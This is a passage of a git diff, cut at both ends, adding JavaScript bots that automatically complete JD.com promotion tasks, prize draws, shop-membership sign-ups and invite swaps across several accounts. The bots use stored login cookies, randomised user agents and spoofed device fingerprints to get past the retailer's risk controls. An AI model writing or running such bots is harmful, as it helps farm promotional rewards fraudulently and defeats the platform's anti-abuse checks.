headers: headers, body: body, timeout:30000}; +} +function join(venderId) { + return new Promise(async resolve => { + $.shopactivityId = '' + await $.wait(1000) + await getshopactivityId(venderId) + $.get(ruhui(`${venderId}`), async (err, resp, data) => { + try { + // console.log(data) + res = $.toObj(data); + if(typeof res == 'object'){ + if(res.success === true){ + console.log(res.message) + if(res.result && res.result.giftInfo){ + for(let i of res.result.giftInfo.giftList){ + console.log(`入会获得:${i.discountString}${i.prizeName}${i.secondLineDesc}`) + } + } + }else if(typeof res == 'object' && res.message){ + console.log(`${res.message || ''}`) + }else{ + console.log(data) + } + }else{ + console.log(data) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function ruhui(functionId) { + let activityId = `` + if($.shopactivityId) activityId = `,"activityId":${$.shopactivityId}` + return { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body={"venderId":"${functionId}","shopId":"${functionId}","bindByVerifyCodeFlag":1,"registerExtend":{},"writeChildFlag":0${activityId},"channel":401}&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + 'Content-Type': 'text/plain; Charset=UTF-8', + 'Origin': 'https://api.m.jd.com', + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'User-Agent': $.UA, + 'content-type': 'application/x-www-form-urlencoded', + 'Referer': `https://shopmember.m.jd.com/shopcard/?venderId=${functionId}&shopId=${functionId}&venderType=5&channel=401`, + 'Cookie': cookie + } + } +} +function getshopactivityId(venderId) { + return new Promise(resolve => { + $.get(shopactivityId(`${venderId}`), async (err, resp, data) => { + try { + data = JSON.parse(data); + if(data.success == true){ + // console.log($.toStr(data.result)) + console.log(`入会:${data.result.shopMemberCardInfo.venderCardName || ''}`) + $.shopactivityId = data.result.interestsRuleList && data.result.interestsRuleList[0] && data.result.interestsRuleList[0].interestsInfo && data.result.interestsRuleList[0].interestsInfo.activityId || '' + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function shopactivityId(functionId) { + return { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=%7B%22venderId%22%3A%22${functionId}%22%2C%22channel%22%3A401%7D&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + 'Content-Type': 'text/plain; Charset=UTF-8', + 'Origin': 'https://api.m.jd.com', + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'User-Agent': $.UA, + 'content-type': 'application/x-www-form-urlencoded', + 'Referer': `https://shopmember.m.jd.com/shopcard/?venderId=${functionId}&shopId=${functionId}&venderType=5&channel=401`, + 'Cookie': cookie + } + } +} +function getMyTask(type) { + return new Promise(resolve => { + let get = { + url:`https://jdjoy.jd.com/module/freshgoods/getMyTask?code=${configCode}`, + headers: { + "Cookie": cookie, + "User-Agent": $.UA, + }, + timeout:30000 + } + $.get(get, async(err, resp, data) => { + try { + if (err) { + if(resp.statusCode && resp.statusCode == 493){ + console.log('此ip已被限制,请过10分钟后再执行脚本\n') + $.outFlag = true + } + console.log(`${$.toStr(err)}`) + console.log(`${$.name} cookie API请求失败,请检查网路重试`) + } else { + // console.log(data) + let res = $.toObj(data,data) + if(typeof res == 'object' && res.success && res.success === true){ + if(res.data){ + if(type == 1){ + $.pin = res.data.pin || '' + $.taskList = res.data.myTasks || [] + }else if(type == 2){ + resolve(res.data.myTasks || []) + } + }else{ + console.log(data) + } + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve([]); + } + }) + }) +} +function getMyRewards() { + return new Promise(resolve => { + let get = { + url:`https://jdjoy.jd.com/module/freshgoods/getMyRewards?code=${configCode}&friendPin=${encodeURIComponent(friendPin)}`, + headers: { + "Cookie": cookie, + "User-Agent": $.UA, + }, + timeout:30000 + } + $.get(get, async(err, resp, data) => { + try { + if (err) { + if(resp.statusCode && resp.statusCode == 493){ + console.log('此ip已被限制,请过10分钟后再执行脚本\n') + $.outFlag = true + } + console.log(`${$.toStr(err)}`) + console.log(`${$.name} cookie API请求失败,请检查网路重试`) + } else { + // console.log(data) + let res = $.toObj(data,data) + if(typeof res == 'object' && res.success && res.success === true){ + if(res.data){ + $.totalBeans = res.data.totalBeans + $.totalPoints = res.data.totalPoints + }else{ + console.log(data) + } + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve([]); + } + }) + }) +} +function getActivity() { + return new Promise(resolve => { + let get = { + url:`https://jdjoy.jd.com/module/freshgoods/getActivityPage?code=${configCode}&friendPin=${encodeURIComponent(friendPin)}`, + headers: { + "Cookie": cookie, + "User-Agent": $.UA, + }, + timeout:30000 + } + $.get(get, async(err, resp, data) => { + try { + if (err) { + if(resp.statusCode && resp.statusCode == 493){ + console.log('此ip已被限制,请过10分钟后再执行脚本\n') + $.outFlag = true + } + console.log(`${$.toStr(err)}`) + console.log(`${$.name} cookie API请求失败,请检查网路重试`) + } else { + // console.log(data) + let res = $.toObj(data,data) + if(typeof res == 'object' && res.success && res.success === true){ + if(res.data){ + $.remainPoints = res.data.remainPoints + }else{ + console.log(data) + } + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve([]); + } + }) + }) +} +function draw() { + return new Promise(resolve => { + let get = { + url:`https://jdjoy.jd.com/module/freshgoods/draw?code=${configCode}&eid=${$.eid}&fp=${$.fp}`, + headers: { + "Cookie": cookie, + "User-Agent": $.UA, + }, + timeout:30000 + } + $.get(get, async(err, resp, data) => { + try { + if (err) { + if(resp.statusCode && resp.statusCode == 493){ + console.log('此ip已被限制,请过10分钟后再执行脚本\n') + $.outFlag = true + } + console.log(`${$.toStr(err)}`) + console.log(`${$.name} cookie API请求失败,请检查网路重试`) + } else { + // console.log(data) + let res = $.toObj(data,data) + if(typeof res == 'object' && res.success && res.success === true){ + if(res.data){ + let msg = '' + msg = res.data.rewardNum || '' + if(res.data.rewardType == 1){ + msg += '京豆' + $.bean += Number(res.data.rewardNum) + }else if(res.data.rewardType == 4){ + msg += '心动值' + }else{ + msg = res.data.rewardName || data + } + console.log(`抽奖获得:${msg || '空气💨'}`) + }else{ + console.log(data) + } + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve([]); + } + }) + }) +} + +function getEid(arr) { + return new Promise(resolve => { + const options = { + url: `https://gia.jd.com/fcf.html?a=${arr.a}`, + body: `d=${arr.d}`, + headers: { + "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8", + "User-Agent": $.UA + } + } + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`\n${turnTableId[i].name} 登录: API查询请求失败 ‼️‼️`) + throw new Error(err); + } else { + if (data.indexOf("*_*") > 0) { + data = data.split("*_*", 2); + data = JSON.parse(data[1]); + $.eid = data.eid + } else { + console.log(`京豆api返回数据为空,请检查自身原因`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +async function getUA(){ + $.UA = `jdapp;iPhone;10.1.4;13.1.2;${randomString(40)};network/wifi;model/iPhone8,1;addressid/2308460611;appBuild/167814;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_1_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` + let arr = await Faker.getBody($.UA,`https://h5.m.jd.com/babelDiy/Zeus/42CC2AdvzUnXheP1CmTXrm7vHYSp/index.html?code=${configCode}`) + $.fp = arr.fp + await getEid(arr) +} +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} + diff --git a/backUp/gua_carnivalcity.js b/backUp/gua_carnivalcity.js new file mode 100644 index 0000000..2d3c58e --- /dev/null +++ b/backUp/gua_carnivalcity.js @@ -0,0 +1,864 @@ +/* +京东手机狂欢城活动 +活动时间: 2021-8-9至2021-8-28 +活动入口:暂无 [活动地址](https://carnivalcity.m.jd.com) + +往期奖励: +a、第1名可获得实物手机一部 +b、 每日第2-10000名,可获得50个京豆 +c、 每日第10001-30000名可获得20个京豆 + + +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +===================quantumultx================ +[task_local] +#京东手机狂欢城 +0 0-18/6 * * * gua_carnivalcity.js, tag=京东手机狂欢城, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +=====================Loon================ +[Script] +cron "0 0-18/6 * * *" script-path=gua_carnivalcity.js, tag=京东手机狂欢城 + +====================Surge================ +京东手机狂欢城 = type=cron,cronexp=0 0-18/6 * * *,wake-system=1,timeout=3600,script-path=gua_carnivalcity.js + +============小火箭========= +5G狂欢城 = type=cron,script-path=gua_carnivalcity.js, cronexpr="0 0,6,12,18 * * *", timeout=3600, enable=true +*/ +const $ = new Env('京东手机狂欢城'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + +//IOS等用户直接用NobyDa的jd cookie + +let cookiesArr = [], cookie = '', message = '', allMessage = ''; + + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; + if (JSON.stringify(process.env).indexOf('GITHUB') > -1) process.exit(0) +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +let inviteCodes = []; +$.shareCodesArr = []; +const JD_API_HOST = 'https://api.m.jd.com/api'; +const activeEndTime = '2021/08/28 00:00:00+08:00';//活动结束时间 +let nowTime = new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + $.temp = []; + if (nowTime > new Date(activeEndTime).getTime()) { + //活动结束后弹窗提醒 + $.msg($.name, '活动已结束', `该活动累计获得京豆:${$.jingBeanNum}个\n请删除此脚本\n咱江湖再见`); + if ($.isNode()) await notify.sendNotify($.name + '活动已结束', `请删除此脚本\n咱江湖再见`); + return + } + await updateShareCodesCDN(); + await requireConfig(); + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + $.jingBeanNum = 0;//累计获得京豆 + $.integralCount = 0;//累计获得积分 + $.integer = 0;//当天获得积分 + $.lasNum = 0;//当天参赛人数 + $.num = 0;//当天排名 + $.beans = 0;//本次运行获得京豆数量 + $.blockAccount = false;//黑号 + message = ''; + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + getUA() + await shareCodesFormat(); + await JD818(); + } + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.canHelp = true;//能否助力 + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + if ((cookiesArr && cookiesArr.length >= 1) && $.canHelp) { + console.log(`\n先自己账号内部相互邀请助力\n`); + for (let item of $.temp) { + console.log(`\n${$.UserName} 去参助力 ${item}`); + const helpRes = await toHelp(item.trim()); + if (helpRes.data.status === 5) { + console.log(`助力机会已耗尽,跳出助力`); + $.canHelp = false; + break; + } + } + } + if ($.canHelp) { + console.log(`\n\n如果有剩余助力机会,则给作者以及随机码助力`) + await doHelp(); + } + } + } + // console.log(JSON.stringify($.temp)) + if (allMessage) { + if ($.isNode()) { + await notify.sendNotify($.name, allMessage, { url: "https://carnivalcity.m.jd.com" }); + $.msg($.name, '', allMessage); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function JD818() { + try { + await indexInfo();//获取任务 + await supportList();//助力情况 + await getHelp();//获取邀请码 + if ($.blockAccount) return + // await indexInfo(true);//获取任务 + await doHotProducttask();//做热销产品任务 + await doBrandTask();//做品牌手机任务 + await doBrowseshopTask();//逛好货街,做任务 + // await doHelp(); + await myRank();//领取往期排名奖励 + await getListRank(); + await getListIntegral(); + await getListJbean(); + await check();//查询抽奖记录(未兑换的,发送提醒通知); + await showMsg() + } catch (e) { + $.logErr(e) + } +} +async function doHotProducttask() { + $.hotProductList = $.hotProductList.filter(v => !!v && v['status'] === "1"); + if ($.hotProductList && $.hotProductList.length) console.log(`开始 【浏览热销手机产品】任务,需等待6秒`) + for (let item of $.hotProductList) { + await doBrowse(item['id'], "", "hot", "browse", "browseHotSku"); + await $.wait(1000 * 6); + if ($.browseId) { + await getBrowsePrize($.browseId) + } + } +} +//做任务 API +function doBrowse(id = "", brandId = "", taskMark = "hot", type = "browse", logMark = "browseHotSku") { + $.browseId = '' + return new Promise(resolve => { + const body = {"brandId":`${brandId}`,"id":`${id}`,"taskMark":`${taskMark}`,"type":`${type}`,"logMark":`${logMark}`}; + const options = taskPostUrl('/khc/task/doBrowse', body) + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + console.log(`doBrowse 做${taskMark}任务:${data}`); + data = JSON.parse(data); + if (data && data['code'] === 200) { + $.browseId = data['data']['browseId'] || ""; + } else { + console.log(`doBrowse异常`); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//领取奖励 +function getBrowsePrize(browseId, brandId = '') { + return new Promise(resolve => { + const body = {"browseId":browseId, "brandId":`${brandId}`}; + const options = taskPostUrl('/khc/task/getBrowsePrize', body) + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + console.log(`getBrowsePrize 领取奖励 结果:${data}`); + data = JSON.parse(data); + if (data && data['code'] === 200) { + if (data['data']['jingBean']) $.beans += data['data']['jingBean']; + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +// 关注 +function followShop(browseId, brandId = '') { + return new Promise(resolve => { + const body = {"id":`${browseId}`, "brandId":`${brandId}`}; + const options = taskPostUrl('/khc/task/followShop', body) + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + console.log(`followShop 领取奖励 结果:${data}`); + data = JSON.parse(data); + if (data && data['code'] === 200) { + if (data['data']['jingBean']) $.beans += data['data']['jingBean']; + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function doBrandTask() { + for (let brand of $.brandList) { + await brandTaskInfo(brand['brandId']); + } +} +function brandTaskInfo(brandId) { + const body = {"brandId":`${brandId}`}; + const options = taskPostUrl('/khc/index/brandTaskInfo', body) + $.skuTask = []; + $.shopTask = []; + $.meetingTask = []; + $.questionTask = {}; + return new Promise( (resolve) => { + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = $.toObj(data); + if (data.code === 200) { + let brandId = data['data']['brandId']; + $.skuTask = data['data']['skuTask'] || []; + $.shopTask = data['data']['shopTask'] || []; + $.meetingTask = data['data']['meetingTask'] || []; + $.questionTask = data['data']['questionTask'] || []; + let flag = true + for (let sku of $.shopTask.filter(vo => !!vo && vo['status'] !== '4')){ + if(flag) console.log(`\n开始做 品牌手机 【${data['data']['brandName']}】 任务`) + if(flag) flag = false + console.log(`开始浏览 1-F 关注 任务 ${sku['name']}`); + if(sku['status'] == 3){ + await followShop(sku['id'], brandId); + }else if(sku['status'] == 8){ + await doBrowse(sku['id'], brandId, "brand", "follow", "browseShop"); + await $.wait(1000 * 6); + if ($.browseId) await getBrowsePrize($.browseId, brandId); + }else{ + console.log(`未知任务状态 ${sku['status']}`) + } + } + flag = true + for (let sku of $.skuTask.filter(vo => !!vo && vo['status'] !== '4')){ + if(flag) console.log(`\n开始做 品牌手机 【${data['data']['brandName']}】 任务`) + if(flag) flag = false + console.log(`开始浏览 2-F 单品区 任务 ${sku['name']}`); + await doBrowse(sku['id'], brandId, "brand", "presell", "browseSku"); + await $.wait(1000 * 6); + if ($.browseId) await getBrowsePrize($.browseId, brandId); + } + flag = true + for (let sku of $.meetingTask.filter(vo => !!vo && vo['status'] !== '4')){ + if(flag) console.log(`\n开始做 品牌手机 【${data['data']['brandName']}】 任务`) + if(flag) flag = false + console.log(`开始浏览 3-F 综合区 任务 ${sku['name']},需等待10秒`); + await doBrowse(sku['id'], brandId, "brand", "meeting", "browseVenue"); + await $.wait(10500); + if ($.browseId) await getBrowsePrize($.browseId, brandId); + } + flag = true + if ($.questionTask.hasOwnProperty('id') && $.questionTask['result'] === '0') { + if(flag) console.log(`\n开始做 品牌手机 【${data['data']['brandName']}】 任务`) + if(flag) flag = false + console.log(`开始做答题任务 ${$.questionTask['question']}`); + let result = 0; + for (let i = 0; i < $.questionTask['answers'].length; i ++) { + if ($.questionTask['answers'][i]['right']) { + result = i + 1;//正确答案 + } + } + if (result !== 0) { + await doQuestion(brandId, $.questionTask['id'], result); + } + } + } else { + console.log(`失败:${JSON.stringify(data)}`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }); +} +function doQuestion(brandId, questionId, result) { + return new Promise(resolve => { + const body = {"brandId":`${brandId}`,"questionId":`${questionId}`,"result":result}; + const options = taskPostUrl('/khc/task/doQuestion', body) + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + console.log(`doQuestion 领取答题任务奖励 结果:${data}`); + data = JSON.parse(data); + if (data && data['code'] === 200) { + if (data['data']['jingBean']) $.beans += data['data']['jingBean']; + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +//逛好货街,做任务 +async function doBrowseshopTask() { + $.browseshopList = $.browseshopList.filter(v => !!v && v['status'] === "6"); + if ($.browseshopList && $.browseshopList.length) console.log(`\n开始 【逛好货街,做任务】,需等待10秒`) + for (let shop of $.browseshopList) { + await doBrowse(shop['id'], "", "browseShop", "browse", "browseShop"); + await $.wait(10000); + if ($.browseId) { + await getBrowsePrize($.browseId) + } + } +} +function indexInfo(flag = false) { + const options = taskPostUrl(`/khc/index/indexInfo`, {}) + $.hotProductList = []; + $.brandList = []; + $.browseshopList = []; + return new Promise( (resolve) => { + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = $.toObj(data); + if (data.code === 200) { + $.hotProductList = data['data']['hotProductList']; + $.brandList = data['data']['brandList']; + $.browseshopList = data['data']['browseshopList']; + } else { + console.log(`异常:${JSON.stringify(data)}`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }); +} +//获取助力信息 +function supportList() { + const options = taskPostUrl('/khc/index/supportList', {}) + return new Promise( (resolve) => { + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.code === 200) { + console.log(`助力情况:${data['data']['supportedNums']}/${data['data']['supportNeedNums']}`); + message += `邀请好友助力:${data['data']['supportedNums']}/${data['data']['supportNeedNums']}\n` + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }); +} +//积分抽奖 +function lottery() { + const options = taskPostUrl('/khc/record/lottery', {}) + return new Promise( (resolve) => { + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.code === 200) { + if (data.data.prizeId !== 8) { + //已中奖 + const url = 'https://carnivalcity.m.jd.com/#/integralDetail'; + console.log(`积分抽奖获得:${data.data.prizeName}`); + message += `积分抽奖获得:${data.data.prizeName}\n`; + $.msg($.name, '', `京东账号 ${$.index} ${$.nickName || $.UserName}\n积分抽奖获得:${data.data.prizeName}\n兑换地址:${url}`, { 'open-url': url }); + if ($.isNode()) await notify.sendNotify($.name, `京东账号 ${$.index} ${$.nickName || $.UserName}\n积分抽奖获得:${data.data.prizeName}\n兑换地址:${url}`); + } else { + console.log(`积分抽奖结果:${data['data']['prizeName']}}`); + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }); +} +//查询抽奖记录(未兑换的) +function check() { + const options = taskPostUrl('/khc/record/convertRecord', { pageNum: 1 }) + return new Promise( (resolve) => { + 